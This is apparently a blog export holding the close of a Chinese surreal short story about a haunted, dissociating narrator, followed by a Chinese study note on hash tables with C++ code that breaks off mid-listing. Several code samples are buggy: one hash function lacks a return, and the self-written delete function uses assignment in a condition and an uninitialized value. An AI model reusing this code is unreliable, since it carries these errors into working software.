当我霎时醒悟,我几乎对自己拥有的一切都发了疯。无止境的破坏欲让我变得勤劳,我必须终日与蠢笨的自己对抗,一遍又一遍地残忍杀害每一个自己。但一切都在走向衰败,没有任何事情有所好转。我那生长在骨骼里的怠惰甚至变得更加繁茂,几度就要盛放出世间不可能存在的美艳而诱惑的花。我这不过如此的抗争竟沦为了它们的肥料,以至于我变得更加不省人事,怠惰到几乎昏厥,几乎停止睁眼;而我那微不足道的反抗却又几度令我窒息,几乎就要夺走我的性命。于是我迫不得已地恢复了这份虚假的、勉强的勤劳,膨胀的欲望最后盖过了理智,让我有了剖析整个世界的傲慢与疯狂到不可遏制的偏执。\n 我曾在尚且记得她的时候寻找过她的踪迹,也为此问过许多可能认识,至少有听说过她的人。但大家的回答要么就是“我没听说过这个人”,要么就是“我也不知道她去哪了。”总之,谁也没有给出让我满意的答案,连一丝线索都没有。然后我便很快将她的事情忘记,到如今已经只记得她的名字和那些已经应验的预言了。但我所记得的预言全都是在它们发生之后才想起的,而那些确凿的证据摆到我的面前之后,我才回忆起曾有个人告诉过我这件事,因此我很难确定自己是否忘记过一些其他的过往的破片,但哪怕只有这些,也让我对她的印象布满了阴霾。\n 她是个理智、浪漫、美丽端庄的女士,但也让我觉得有些瘆人。尽管她有着银白色的长发与睫毛、秀丽的面容与柔和的语气以及远超于我的认识与见解,即便我们无论如何相比都相差甚远,但与她相处就好像在同自己所有的恶对抗。她会把我身上一切见不得人的丑恶全都披露,以断罪者的姿态令我蒙羞,使我那虚伪的挣扎在她面前如若纸糊,颅内那些阴暗丑陋的思想被放大到令自己恐惧,让我必须接受她所有的残忍描述才得以继续存活,她就是这样的一个人。由于她当时给予了我过于庞大的恐怖,在与她相处的一个月里我仿佛忍受了这段短暂人生所有的苦痛,我每个夜里都会因恐惧而蜷缩角落里不停地警戒着,直到自己实在累得不行,必须近似昏厥地睡去才能迎来第二天的正午。安眠药起初是起作用的,但它们只持续了一周时间,我很快变得会在服用安眠药之后更加亢奋,我也知道这很不合理,可事实上我那时候真的以为自己除了寻死再没有别的方法解脱了。庆幸的是,与她共事的时日只持续了一个月,尽管这一个对我来说实在太过漫长。身心俱疲的我在她失踪之后被迫寻求了心理医生的帮助,才把这些痛苦全都沉没到再无法打捞的深海,终于能够拥有哪怕只有一次的安稳睡眠。\n 这一切都不过是由我对她的印象以及一些记忆断片和梦中所见拼贴而成的有关她的过去,也说明了我对她的恐惧有多么深刻。在我勉强返回到日常生活之后,即便已经忘记了大多数过去,但曾经发生的这一切也无疑让我发生了巨大的变化。我变得开始恐惧社交,不愿意出入公共场所,也抗拒大声喧哗,终日过着乏力疲惫的生活。但这并不是她给我留下的阴影,而是另外一个自我。她拽出了我身上所有的恶意——就有那种不论施暴还是屠戮都能够习以为常并为之沉醉的恶意,就好像脑子里开了家疯人院,偏偏它的大门永远敞开一样,那群疯子不知疲倦地向外挤兑着。可它们就像是我的利刃,能让我在面对恐惧时发疯、不自主地反抗,但我现在必须把他们全都忘掉,否则我将无法生存,这就是一个病态的人在面临毁灭时必要的措施——必须要把自己的病情完全遏制甚至拔除。\n 于是屋子就变成了笼子,笼子里就多了一只被磨去利爪、拔去羽翼的鹰。这只鹰既不会扑腾也不会鸣叫,他失去了野性,不能够作恶,也容易受伤,必须谨慎地活下去,而且念头与思想都极其狭隘,预测不到万事,也预料不到难事,更无法抓住幸事,被迫苟且着,尚且还在呼吸。\n 但就在一个寒冬里,那年很早就开始下雪的寒冬,我遇上了许多事。起初,我只是像往常一样走在去往实验室的公路上,路过那个我每天都会路过的公园。我以为那些流浪汉们也会像往常一样早早地消失不见,然后在明年入春的时候再上街乞讨,但现在他们正缩在凉亭的椅子底下被一群年轻的、穿着邋遢且留着许久不清洁的胡子的醉鬼们围住,并不断地被这群酒鬼侮辱,用鞋子踹他们的腹部。他们不停地在喊“好痛啊……好痛啊……别踢了……别踢了……放过我吧,求你行行好吧……”之类的话语。这群流浪汉已经在这里待过有一段时日了,他们大多五六十岁的样子,蜡黄的皮肤因为污垢与泥水被染得黝黑,身上散发着难以描述的混合的恶臭,有的脸上还长着脓疮,显得相当丑陋恶心。或许是今年冬天来得太早,以至他们还没来得及逃走,便被这些从早醉到晚的家伙逮住了,遭到了一阵的暴行。虽然很快就有警察过来阻止,并把他们全都带走了,但这件事让我开始显得有些烦躁。我还记得,当时的我什么也没有做,什么也都没有想,就站在外面从开始一直看到结尾,不记忆更不记录,不体会也不愤懑,我甚至不能被称之为见证者或旁观者,就连一个路人或许都算不上,那我又是什么呢?我只是恰好站在外面,并把头扭向了那个方向,我什么都没注意到,也什么都没发现,一直到刺耳的警笛声撞向我,我又转回去继续迈开步伐行走,直到撞上了前面的电杆,然后被撞得晕头转向最后迷路在居所附近。不过一粒尘埃,却是被锁在狱里的尘埃,只是这里太过宽敞,一座城市规模的笼子实在太过庞大了。就连谁洗劫去了我的信念与理智都不知道,却无可匹敌地让我顺从地喘息……\n 因为在居所附近迷路了,我愈发急切地想要赶回研究所。这是我人生中第一次迷路,还是迷失在自己从诞生以来从未离开过的城市。周围的一切都让我觉得烦闷,冬日里锋锐的寒风与冰冷的太阳、那些千篇一律的匆忙与形形色色的莽撞、呼出热闹的白雾的鼻息与叹惋、相互挤兑的热情如烙铁的路人,我像是大病初愈一样开始虚脱,面色惨白的在路上四处晃荡。从没去过的百货大楼在张牙舞爪着,附近的摩天大楼更是濒临倒塌,一切都呈现出歪曲混乱的景象。摩天轮开始发了疯地旋转,从中心开始向四周折叠着旋转;人群开始相互融合,肉块与各种各样的服饰被像面团一样揉到一起,是高高地抛上了天的奇美拉;道路要比最崎岖的山路还要歪曲,可我只是被那些壮硕的人们挤兑得双脚悬空,随着人潮流向远方;他们甚至招摇起双臂,太阳也变得和我的脸色一样惨白,鱼群开始在陆地上行走,长着一双健壮的手臂,头朝向地像是在奔跑;长着猴子嘴脸的驯鹿在我身边打转,它们围城一个圆圈开始在我身边起舞。大脑仿佛被泡进盛满冰块的鱼缸,蒸腾的水汽与未融化的透明冰块令人眩晕,可又像是浸泡于岩浆里那般灼热,剧痛与漩涡此刻竟有了一丝美感。我所有的感官都被混淆,橘红色的光线有了酸醋的异味,五彩的街灯闪烁出蜂蜜与焦糖与烂泥和其他各种糟糕事物的杂糅而成的味道,就连耳边都响起了街头烤着煎饼的爆鸣与包子散发出的纸张撕裂的刺耳声响……这一切又叫我如何承受!而我最后被抬进了医院,是在昏迷于游乐园的长椅旁边后。\n 第一个进来的医生说我是贫血所致,适当的休息之后自然就会好转;后进来的护士说我是营养不良,应该吃些好的,还给我端来了丰盛的伙食;而隔壁的病人说我是精神病,应该滚进疯人院去,说我和那里的人简直一模一样。这里的所有人都对我有些过分亲切了。但我出院之后才知道,我隔壁的病人被送去了疯人院。住院期间,同事们曾来看望过我,他们起初都是一脸的不可思议与焦虑,但在见到我并实际与我交谈之后,他们明显都松了口气,只是当时的我还不太明白怎么回事。我们和平常一样开着玩笑,拿那些羞人的糗事相互揭短,他们很轻易地相信我什么都没变,我仍然正常。但当我出院,并明白了这一切之后,我更加对自己的状况感到焦虑了。医生后来告诉我之所以被放进精神科,是因为我在失去神志期间不断地而且是凶狠地袭击着身边的事物,我的桌边本不是那个有着花纹的玻璃花瓶,我原来的枕头、棉被也都被我撕毁,就连我没进精神科病房前的隔壁也几乎要被我啃咬殴打……只是三个月的无异常观察让他们最终相信这一切不过是受到了某些我自己也说不上的刺激导致,而我的精神在那之后已经彻底恢复了,于是他们从容地让我出了院。而只有我深陷于不可遏制的恐惧,因为我那被忘却的一切狂乱的恶意竟在我无意识时肆意宣泄。我想起了自己每个早晨醒来时房间的混乱,也想起了醉宿过后手臂与脖子上密布的通红伤痕,那些支离破碎的玻璃杯子与渗出暗红色血珠并滚烫无比的伤痕原来是我在失去理智后疯狂的劣作。\n 当过去的这些早已被我卸下的锁链又重新缠回,我无比地渴望逃离它们。我望着窗外飘起的无垠的雪,心中突然出现了一种想要奔逃的冲动,企图现在就冲出屋外,去往一个不再有任何人的天堂。\n “现在就走吧!对,现在就走!”我心里是如此的急切。\n 期待那皑皑白雪能掩盖我的足迹,让一切关联都再也无法使我烦忧,让我也不再需要日夜惊惧于遭到捕杀。\n 但在无形之中仿佛有一堵高墙将我围堵,让我哪也去不了,必须待在这个随时可能出现猎人的猎场里。而我难以忍受这种煎熬,即使没有目的地,我也迫切地想要离开这里,哪怕只是在世界各地游荡,也要比继续留在原地要好。于是我连夜订购了火车票,从A城一直坐到R城,途径了好几个城市。我想,现在我终于远离了那个折磨人的地方了。\n 我就这样戴着兜帽、背着笨重的背包在R城里晃悠,从空无一人的宁静车站逛到荒废多年的体育场,这里现在没有任何人认识我,但总归还是有人。我警惕地在街上四处乱瞟,不由得开始怀疑自己为何要如此鬼祟,毕竟我们还没有犯下任何过错,恶意只要不外泄就不会被察觉。\n R城的人几乎都撤离了,只剩下一些年事已高的老人与一些断了半条腿的瘸子,凡是热爱这片土地的年轻人,都被或蒙骗或诱惑的说辞勾走了。这里本是一片战后废墟,但不知道哪里突然挖出了油田,于是在五十年前迎来了过早的鼎盛。我只听从这里出去的人们说起过,他们个个都带着自豪的语气向我吹嘘这里的富饶。但现在已经什么都没有了。他们都说这里马上就要再次成为战场,一个个危言耸听的样子就好像真的要再次开战了。\n “现在大家都在逃跑,所以列车还通着,再过一个月,就谁都跑不掉了。”\n “您不走吗?”\n “我走什么,一天下来能走几步路?所幸也活够了,老伴都死了好几年了,儿子也不知道多少年没音信了,这活着也没什么指望,死就死吧。”\n 体育场后排的座椅上,拄着雕成马头的拐杖的老人平静而不带任何感情地这样跟我说。估摸着应该已经八九十岁了,穿着厚重的棉袄,干瘪的皮肤堆积成一层层的皱纹,那些暗斑叠了一次又一次,驼着背,双手搭在拐杖上,眯着眼睛盯着长满杂草的球场。有的人躺在椅子上睡觉,有的人就在附近闲逛,麻雀飞得到处都是,老鼠也开始横行了,陈旧的椅子上堆了鸟类的粪便,掉漆生锈的栏杆断成好几节,以各自的形态变形扭曲着,整个体育场看上去就像是荒废了数年,而大家好像早已习以为常。\n 疏于维护的场馆不过一个月就已面目全非,坍塌的坍塌、凹陷的凹陷,就连混乱都失去了价值,懒散、怠惰、过剩且拥挤。好像,就和现在的我一样。\n 或许这样才本该是我的常态,可我却因世人的迫害变成了如今这副模样。已经回不去了!我如果不能继续反抗,这无穷岁月里的压抑会如猛然决堤的洪水那般摧毁我!但这样的指责是多么的无力,我苍白的话语饱含着空洞意味不具备任何力量。我们又该如何反抗我们?那残骸堆砌的尸山究竟在预示什么?他们为何如此憎恶,为何出离愤怒?到底是谁在原谅我们此等魔鬼行径?\n 我不知道。\n 我不能作答。\n 我只能哑口无言地看着山顶滚落一具具“我们”。\n 我能觉察到,脚底下的井盖里传出着些许隐约的鬼祟;那下水沟的铁栏里似乎有无数双充斥怨恨愤懑的猩红在紧盯着我;电杆上的那群漆黑乌鸦凄厉地嘲笑声愈发猖狂,愈发放肆;脑内掀起着触目惊心的音浪与风暴,它们饱含着深情、爱慕,也潜藏着仇恨、疯狂,有我们的厉啸、狼群的嚎叫、夜鸦的狰狞、巨鲸的喘息,也有瓦砾的粉碎、钢铁的熔融、沉没的泡影、引擎的轰鸣。\n 仿佛他们现在就在我的身后,可我猛然回头,却只有苍凉萧索。好像那每一个路人都有着我们的影子,拖到街道尽头的黑泥里寄宿着那一堆堆遗骸。\n 别再跟着我了!\n 呼之欲出的话语又被咽回,怯懦让我连呐喊的勇气都丧失了……\n 现在“我们”都在盯着我,而我则颤颤巍巍地走在体育馆外里林间小道上。寒冬中和煦的阳光透过树叶间的缝隙投下一束束扑腾着细小尘埃的光带,松叶也划不破皮肤,空气也不至于让我中毒,一切都与我身后的压迫格格不入。\n 如果他们现在失去了控制,要把我抓走,那么我会被带到哪去?我要遭受什么样的惩罚才能回来?我又要回到哪去呢?\n 我开始后悔、开始恐惧了,一想到接下来要承受自己所无法承受的苦难,我就不可遏制地想要逃走。我没有任何一件是不能失去的,也没有任何一种是不能放弃的,可即便如此,我依然恐惧万分。我担心那些可失去的东西失去,也害怕自己不得不放弃那些可放弃的东西,分明我毫无眷恋的心根本不曾颤动,自己却死死地攥紧它们不愿放手。\n 即便我根本无法想象那注定要面对的灾难,可能是战火硝烟,也可能是多一具惊骇,但我还是忍不住去恐惧这份未知。我颤抖地双腿情不自禁地向前迈开,呼吸渐渐急促紊乱,眼神正在四处游离,污浊的汗珠顺着额头一直滑进瞳孔、口腔。\n 我到底在向何处奔跑?\n 我的脚边何时出现了蒲公英?这片花海又是谁栽种的?\n 满天飘零的是蒲公英的羽翼,脚边绽放着银白的蝉翼荠与昙花,远方灼烧的向日葵花田里隐约可见那几束濒临焦黑的红石蒜与罂粟。空气中席卷着烫伤咽喉的热浪,羸弱的羽奔赴往灰烬的洋流。漆黑映衬着橘红的深空涌动着狂暴的雷云,不时击落几只盘旋着的贪婪秃鹫,回荡落下惩戒的余音。\n 冰原冻土之上,这片本该凄凉颓废的荒原之上如今横行着繁荣!就连我的脊背都攀附上牵牛花藤。荆棘的尖刺渗入我的皮肉,无根藤吮吸着我的骨髓,古树开始在我的脊柱上生根,坚硬的根须如锁链般将我捆绑,粗壮的枝干似巨石般将我压垮。\n 于绚烂的花海中央诞生出繁茂的苍天古木,不知会是灰黑的枝叶还是暗红的污秽,而我已然无法得知……\n 滴…滴…滴……\n 这里的工作人员告诉我,我已经昏迷了三天了。他们说,定期巡逻的时候发现我一个人倒在雪地里,当发现我还有心跳的时候马上做了应急措施,然后把我运到了这来。\n 这里是一座研究所,同时也是遇难者的集中营。最初似乎是因为这附近没有其他合适的地方搭建信号中转站,于是只好把中转站和研究所建到一起,再后来又因为同样的理由,把集中营也并入了这里,就有了现在这个庞大得夸张的研究所。\n 与我同样的遭难者不少,他们大多都和我一样正躺在床上发着抖,并不是身体觉得冷,或许只是有些后怕吧。他们有的是旅行家,有的是来打猎的猎人,但更多的是那些被流放过来的罪犯。巡逻队的人说,下周他们会到附近的城市去采购物资,到时候可以顺带捎上我们。\n 这就意味着,我只能在这待一周了。然后我就必须回到地狱,继续遭受那些没能受尽的苦。可如今我已经拼尽全力地逃到了这里,再没有其他地方可以逃难了,再往北走,就只剩大海了……\n 但现在也没办法为那么久远的事情烦恼了,终归是得不出结论的无意义思考罢了。\n 闲来无事,我只好在这偌大的研究里所四处晃荡。可我在这里逛荡了一整天也看不见任何一位长得像是研究员的人。说到底,在北方的雪原上建研究所这件事本身就有些怪异。\n 但确实如此,中转站的维护工人还偶尔能在餐厅遇见,苦役与难民也能在走廊上碰上,只有研究员像是稀有品种一样不见踪影。我起初以为,他们大多不会离开实验室,只是我们这些游客进不去罢了。但据这里的清洁工人说,他们也很少能碰见这里的研究员。在这里工作了一年多,也只见过一位教授一次而已。\n 而我不再关心这里的异样,说到底,我不过是个将要离去的游客罢了,纵使它如何异常,一周之后也都将与我无关。但我还是止不住那狂涌的好奇,对其项目、设备以及在职者抱有浓厚的兴趣。好像旧病复发,又或是食欲被激发一样,连锁着众多症状正急促暴乱着;或是说,我的奔逃为我饰演了烟幕,这只是暂时性的失明?\n 可复发的原因本就无关紧要。如果它像风暴一样卷来,那就终有一天会消散,又必将在将来的某一天再临,而我们只不过是麦田里的稻草人罢了。而现在,稻草人只应该履行它的职责。\n 向看守简要的说明了情况,并用识别卡证明身份之后,他们尊敬地称我为教授,然后允许我与看守中的一人在研究所里逛逛。但那些实验室基本上都无法进入,我毕竟不属于这座孤岛。即便如此,种种蛛丝马迹也让这里的研究愈发神秘诱人;偏僻而荒凉的地理位置、过度紧张的管理模式、多到发指的罪犯数量、以及那些摆放在过道上的多得数不清的盆栽。\n 在研究所里摆放盆栽并不是什么稀奇的事,即便数量众多,也可能只是个人喜好罢了。但除却那实在过于庞大,甚至于让人误以为这里是植物园的数量以外,这些植株都显得有些狰狞。我不认识这些植物,自然也不可能叫出它们的名字,但任何人只要一眼就能明白,它们是不可能在同一种环境里共生的。就像戈壁里结不出西瓜,雨林中也不会有仙人掌一样,可它们现在却在一座研究所里如此繁茂!\n “你知道这些植物都是谁要求的吗?”我问走在旁边的守卫。\n 他似乎没反应过来,疑惑地看着我。不等他开口,我结束了对话。\n “不好意思,我开玩笑的,忘掉刚才的话吧。”\n 我不太明白他是出于何种原因而未能理解我的话语,但当我注意到他无法回答我的问题时,我就明白了——盛宴还未结束。\n 我加快步伐,迅速地穿行在密林中。复杂的地形让守卫逐渐落后于我。耳边能隐约响起他的呼唤,但我已经没有闲心去理会那些杂音。这里的一切都让我欢愉,哪怕没有飞鸟,也会出现它们鸣叫的幻听。我考察着每一颗未曾相识的树木,截取一段段不知名的藤蔓,任凭那青汁沿着走廊拖出道道彗尾。\n 汗水开始淋漓,吐息越发灼烫。我此生从未有过如此轻快的感觉,仿佛下一刻就将悬空。奔跑得愈加迅猛,欢呼亦沸反盈天,若天空都将坠落的宏伟,若深海中翻涌的壮烈!\n 现在,我们该去哪?\n 早已无关紧要。又或者,我们哪也不去。\n 那簇拥在花与藤蔓之中的符号是某个远古部族遗留下的图腾吗?在我理解之后,我才开始希望它能只是图腾。于是我又开始后悔,接着又后悔自己进行如此无谓的思考。可比起那微不足道的悔意,惊惧先溢出了躯壳。\n 心中的懊恼、仇恨、悲伤、妒忌、愤慨、傲慢、恐惧、猜疑……无穷无尽的恶劣在一瞬间被杂糅进这副躯壳,残缺的灵魂在那一刻得以完整,割裂的意识首次达成了共识,我们,被压成了我。\n 但这刹那的丑恶马上分崩离析,理智又重新将每位囚犯再度分离。这猛烈的既视感与被唤醒的记忆几乎冲散了意识,让我险些发了疯,就要践行那些原始的低劣行径。\n 他们无数次逼迫我,又无数次警告我;要我破坏伤害所有,又要我仓皇狼狈逃走。可我又该如何是好?遍地的狼藉都是我逃跑时撞倒的低矮幼苗,鞋底踏碎的嵌进橡胶里的木屑几乎就要刺破脚底,那刺痛的感觉伴随着我每一步的迈进而深入,那逐渐加深的惶恐也开始撕咬脖颈。\n 我感觉周围的气温在上升,似乎连光都坍塌了。森林逐渐倾颓,倒伏的灌木被沙砾压垮,湿润的泥土被黄土遮盖,青枝绿叶都在以肉眼可见的速度枯萎,花海正举行着壮烈的凋敝,风尘扬起萧条稀疏与落魄,沙哑的息响渐行渐远。\n 而前方,或许是海市蜃楼……\n 那是我穷极一生都捉不住的光景。\n 城市与城市相互割裂,拼接与断裂的楼房接连粉碎。绽放又凋零的花瓣坠向穹宇,在无风中扩散飘往极夜。无数苍绿的荫蔽垂向皲裂而壮丽的花海,于绚烂的极光与深邃的夜空中扎根逆悬,挣脱树梢的落叶伴随着花瓣、瓦砾与碎石退场。空气中弥散着硝石与熏香,那雪绒般的花瓣沾染了战火掠过耳际,那畸形的瓦砾承载着花香沉没星海。它们舞动着我无法描述的狂乱舞蹈,时而卷积、时而离散,如在漩涡中挣扎,如在篝火旁覆灭。\n 我能隐约看见,那些若隐若现的破败尖塔指向地面。朦胧了边际的雾霾隐匿了它们的形骸。曾经金碧辉煌的庙宇和宫殿早已毁灭,只剩下这些挂在天际的模糊轮廓。它们狰狞着面孔,摆出一副骇人模样,是那些漏风的孔在嘶鸣,是那些敞开的门窗里透出的烛火在摇摆,是那些破损的老钟在风中残喘,是那些,那些我无法言明的惊骇存在。\n 风信子的瓣已经揉碎浸泡到暗金色的河水里,却浮在水面没有流走。我啜饮那些沉重的河水,步伐却轻盈宛若蝶翼。\n 在这失去秩序的世界脚底,那些惊惧、那些愤怒、那些可有可无的孤独与那些毫无意义的克制全都不过是些卑微到甚至不如草芥的习性。想呼吸就呼吸吧,想跳舞就跳舞吧,谁要来拦着,那就撕烂他的嘴,砸碎他的额骨,扯出他的肮脏的白骨,最后再丢进垃圾桶。我难以置信地兴奋着,呼吸也变得比引擎要更加急促,手脚不听使唤地颤着,正为世界的颠倒而欢呼高嚎。\n 我绕着山丘上的巨树不停地奔跑,它就像世界的支柱那般庞大而可靠,纵使有上百个我,也难以将它包围吧。\n 树底下的害虫与野兽迫使我爬上巨树的躯干,又折下它繁茂枝叶中的一根,用以驱赶我的恐惧。我挥舞着枝条,泼洒下无数迅速枯萎腐败的黑色树叶。那群恶魔竟在退避!它们面对这样一根干瘪的树枝竟在退避!\n 花海似乎也在嘲笑它们的懦弱,盛放得更加招摇,也更加妖艳。视线里连成一片的都是它们耀眼而模糊的光华。吞噬花瓣的星夜愈加贪婪,极光的演变激烈而绚烂,闪烁着荧光的飞虫织结成绳网,缠绕捆绑擎天的巨木。\n 它正走向衰亡,于此绝景之中。\n 轰然的倒塌形成漆黑的空洞。吞噬盛世的霞光与极夜。大地挣脱,泥土与尘埃逆转着沉沦,自持的根基在逐步瓦解。\n 这秩序的崩塌带来的是无与伦比的盛宴!\n 毋须再去顾忌毒龙蝼蚁、毋须再去嫌恶贪婪古株,将自己的根绕出累赘的土壤,飘往极夜去吧!\n 落叶与大地寻往自由,枯干托起沉重;卸下纠缠的层层泥土,埋没银怀表。\n 何故要去留恋与土地纠缠的岁月,又何故愿被修剪枝叶?拔去利刺的荆棘与藤蔓何异,可这雨林容不下尖刺与棘。它那垂下的荆条向着无害的方向进化,顽固则被卸除,装作理智的绵羊将要复苏,悬空终要回归大地……\n 他拥抱坠落的废墟,被埋进泥海;曾到往星海的瓦砾,携不来半片星骸。淌出的青汁汇入沟壑,鼓动如岩浆蔓延。纷争亦不过是风化的褐岩,没有我所写下的一切。\n","categories":["Story"],"tags":["故事","短篇"]},{"title":"散列Hash","url":"/2021/02/11/hash/","content":"注:学习过程参照《数据结构与算法分析——C语言描述》,虽然我个人是用C++实现,但代码大致上与书中一致。如果您发现了某些错误,欢迎指正。\n[toc]\n一种映射方式。给定一个关键字,将它映射到一张表上对应的单元格。这里展示一种Hash函数:\nunsigned int Hash(const char* key, int TableSize){unsigned int HashVal = 0;while (*key != '\\0')HashVal = (HashVal << 5) + *key++;return HashVal % TableSize;}\n\n因为常见的关键字都是字符串,所以这样写。但在下面的笔记中,我将关键字规定为整型,以提高笔记的简明性,所以这里将会用另外一种Hash函数:\nunsigned int Hash(int key, int TableSize){unsigned int HashVal = 0;HashVal = key % TableSize;}\n\n按照流程,其实本该从建立哈希表开始,但很快就会遇到一些问题,所以我打算和在一起记录。不妨先假设我们已经建好了一张散列表。\n问题是非常显而易见的,既然是一种映射函数,那必然会出现碰撞(两个不同的关键字具有相同的散列值)。比如现在所用的这个函数,假设表尺寸TableSize是11,那么关键字“11”“110”就会有同样的散列值了。\n因为一个单元格只能储存一个关键字,那么就要对多出来的那一个做些处理了,下面将会详细说明三种方法(总共有四种)。\n分离链接:举一个比较形象的例子吧。\n    假设散列表是一个平面,他有X轴和Y轴,两个轴的坐标都必须是整数(整数只是为了好理解一些罢了)。\n    比方说(1,1)。现在有两个关键字都被映射到了这个点上,那如何解决?为它增加一个Z轴。\n    那么关键字便能够这样储存:(1,1,key1)和(1,1,key2)\n    就像是在这个点下面挂上了两个关键字一样。它没有缓解碰撞的出现,但是容许了碰撞的出现。因为即便hash值相同,关键字也同样能够被顺利储存下来。\n    在C++中,这种结构是实现方法便是链表。所谓的Z轴就相当于在每一个节点下面挂上一条链表。\n    必要的声明:(因为各种声明有些绕,所以加了些许方便理解的注释和一些没必要的名词。)\nstruct Listnode;//表节点typedef struct Listnode* Position;//指向表节点的“位置指针”struct HashTbl;//哈希表typedef struct HashTbl* HashTable;//指向哈希表的“表指针”typedef Position List;//“位置指针”也将作为“列表指针” struct Listnode {int info;//关键字Position Next;//指向下一个表节点的“位置指针”};struct HashTbl {int TableSize;//表尺寸List* TheLists;//指向“位置指针”的“列表指针”}\n\n建立表:\nHashTable InitializeTable(int TableSize){HashTable H;H = new HashTbl; //H->TableSize = NextPrime(TableSize);这个函数的作用是取比该值大的下一个素数,但这样简化了一下,所以才有下面的要求H->TableSize = TableSize;//这要求Tablesize是大于表大小的素数H->TheLists = new List[TableSize]; for (int i = 0; i < TableSize; i++){H->TheLists[i] = new Listnode;H->TheLists[i]->Next = NULL;}return H;}\n\n流程说明:\n    该函数将会返回一个“表指针”,这个指针指向我们刚刚建立的哈希表。\n    首先,新建一个表指针,并为其开辟一个哈希表空间。现在这个表指针H已经指向了刚开辟的空间。\n    将我们输入的“表尺寸”作为这张新表的尺寸,并根据这个尺寸,在表中开辟一个数组,这个数组的元素是“列表指针”。现在,新表中的列表指针TheLists成为了刚开辟好的数组的第一个元素——一个新的列表指针。注意,这个数组的大小会和设定好的“表尺寸一样大”。\n    接下来为每一个“表指针”开辟一个新节点,并将节点的Next指针指向NULL。\n    现在,TheLists中的每一个列表指针指向新节点。并且,节点中的关键字都还没有初始化。\nFind函数:该表将会返回找到的关键字的“位置指针”\nPosition Find(HashTable H,int Key){Position P;List L;L = H->TheLists[Hash(Key, H->TableSize)];P = L->Next;while (P != NULL && P->info != Key)//strcmp strcpyP = P->Next;return P;}\n\n流程说明:\n    新建一个“位置指针”P和“列表指针”L\n    让“列表指针”临时成为关键字本该出现的那一列。(我总觉得这种说辞有些不太简洁。)\n    Hash(Key,H->TableSize)其实就是将关键字进行映射,假设结果被映射到了5,那么“列表指针”将临时成为数组中的第六个。\n    “位置指针”临时成为L->Next\n    之所以是临时,目的是不改变哈希表本来的结构,所以引入临时变量来操作数据。\n    接下来开始遍历这一列上的每一个节点,直到找到了相同的关键字或者已经枚举尽了。\n    注:因为关键字不一定都是整数,像是字符串之类的关键字,则必须用strcmp和strcpy这样的函数来比较。\n插入函数:\nvoid Insert(int Key,HashTable H){Position tmpPos, Newcell;List L; tmpPos = Find(H, Key);if (tmpPos == NULL){Newcell = new Listnode;L = H->TheLists[Hash(Key, H->TableSize)];Newcell->Next = L->Next;Newcell->info = Key;L->Next = Newcell;}}\n\n流程说明:\n    输入关键字和哈希表地址。\n    首先,新建一个“临时位置指针”tmpPos和Newcell,以及一个“列表指针”L。\n    查找这张表中是否已经存在这个关键字了,如果存在就直接跳过,否则才进行添加。\n    假设本不存在这个关键字。\n    为Newcell新建一个节点。\n    让L指针临时成为指向相应坐标的位置指针。\n    那么现在L将指向某个节点,比方说TheLists[5]。\n    令Newcell节点中的Next指针成为L指针指向的节点的Next指针。\n    关键字赋予。\n    将L指向的节点中Next指针指向这个新节点。\n    (这个新节点将被挂在最靠近“轴”的那一侧。)\n最后是删除函数:\nvoid Deletenode(int Key, HashTable H){Position tmpPos,tmpP2;List L;tmpPos = Find(H,Key);L = H->TheLists[Hash(Key, H->TableSize)];if (tmpPos != NULL&&L->info!=Key){tmpP2 = tmpPos->Next;while(L->Next!=NULL){if (L->Next->info == Key){L->Next = tmpP2;delete tmpPos;}elseL = L->Next;}}else if (L->info = Key){int K;L->info = K;}}\n\n书上并没有给出删除数据的函数,所以这个函数是我自己现写的,不太确定是否完全正确。\n但思路很简单,就是找到关键字那一排,然后把节点删掉,然后再把链表重新拼起来。如果关键字存在头节点,那就只替换掉关键字就行。\n(所以最好是不要往头节点放东西,将表制成头节点不包含数据的样式最佳。就连书上也是这样推荐的)\n开放定址:    先贴出完全的代码,再进行逐步分析:(以下代码为平方探测)\n#include<iostream>using namespace std;//----------------------------//struct HashTbl;typedef struct HashTbl* HashTable;struct HashEntry;typedef unsigned int Index;typedef Index Position;typedef struct HashEntry Cell;enum KindOfEntry {Legitimate,Empty,Deleted};#define MinTableSize 2struct HashEntry{int Key;enum KindOfEntry Info;};struct HashTbl{int TableSize;Cell* TheCells;};Position Find(int key, HashTable H);void Insert(int key, HashTable H);HashTable InitializeTable(int TableSize);Index Hash(const char* key, int TableSize);//----------------------------//HashTable InitializeTable(int TableSize){HashTable H;if (TableSize < MinTableSize)return NULL;else{H = new HashTbl;H->TableSize = TableSize;H->TheCells = new HashEntry[H->TableSize];for (int i = 0; i < H->TableSize; i++)H->TheCells[i].Info = Empty;return H;}}Position Find(int key, HashTable H){Position CurrentPos;int CollisionNum;CollisionNum = 0;CurrentPos = Hash(key, H->TableSize);while (H->TheCells[CurrentPos].Info != Empty && H->TheCells[CurrentPos].Key != key){CollisionNum++;CurrentPos += 2 * CollisionNum - 1;if (CurrentPos >= H->TableSize)CurrentPos -= H->TableSize;}return CurrentPos;}void Insert(int key,HashTable H){Position Pos;Pos = Find(key, H);if (H->TheCells[Pos].Info != Legitimate){H->TheCells[Pos].Info = Legitimate;H->TheCells[Pos].Key = key;}}\n\n    继上一篇链接法之后,这次遇到了开放寻址。原理也并不复杂。其实就是当发生了碰撞(不同的关键字却拥有一样的哈希值)时,为后到的关键字再找另外一个地方存放。当然,这个存放也不能是瞎存放,它是有一定规则的,常见的有两种,分别是“线性”和“平方”。\n线性探测:\n当发生碰撞的时候,就往下一个单元格去存放(如果还碰撞就继续往下,碰到底了就绕回表头继续往下)。是相对朴素的一种方法,只要表还没装满,那就一定能给关键字找到合适的位置。当然,这也同时很不效率,因为它必须一个个去匹配判断,一次次去绕,怎么想都不是很效率,所以还有另外一种“平方”。\n平方探测:\n    因为上一种不太效率,所以平方探测可能更平常一些。简单来说,当发送了碰撞,就去找当前单元格下的  i^2 格,以此类推(其中,i是一个从1开始的常数,每次判断都会+1。所以偏移量是按照1,4,9,16的顺序来增加的)。\n    注:还有另外一种平方探测,和上面的相近,只是变成了  (-1)^i(i)^2 而已,并且 常量i 是每两回合+1(-1,+1,-4,+4像这样)。\n    这种方式能很好的防止过多次数的匹配,因为插入数据的单元都很分散,但也同样有些毛病。比方说,必须要保证哈希表足够大。试想一下,这种匹配方式,是不是有可能导致某个数据来回匹配无数次都没办法放进空的单元格里?解决这种方式就需要让哈希表足够大。显然,这可能会浪费不少空间,但速度无疑提升了。\n//——————————————-//\n首先是创建表函数:\nHashTable InitializeTable(int TableSize){HashTable H;if (TableSize < MinTableSize)return NULL;else{H = new HashTbl;H->TableSize = TableSize;H->TheCells = 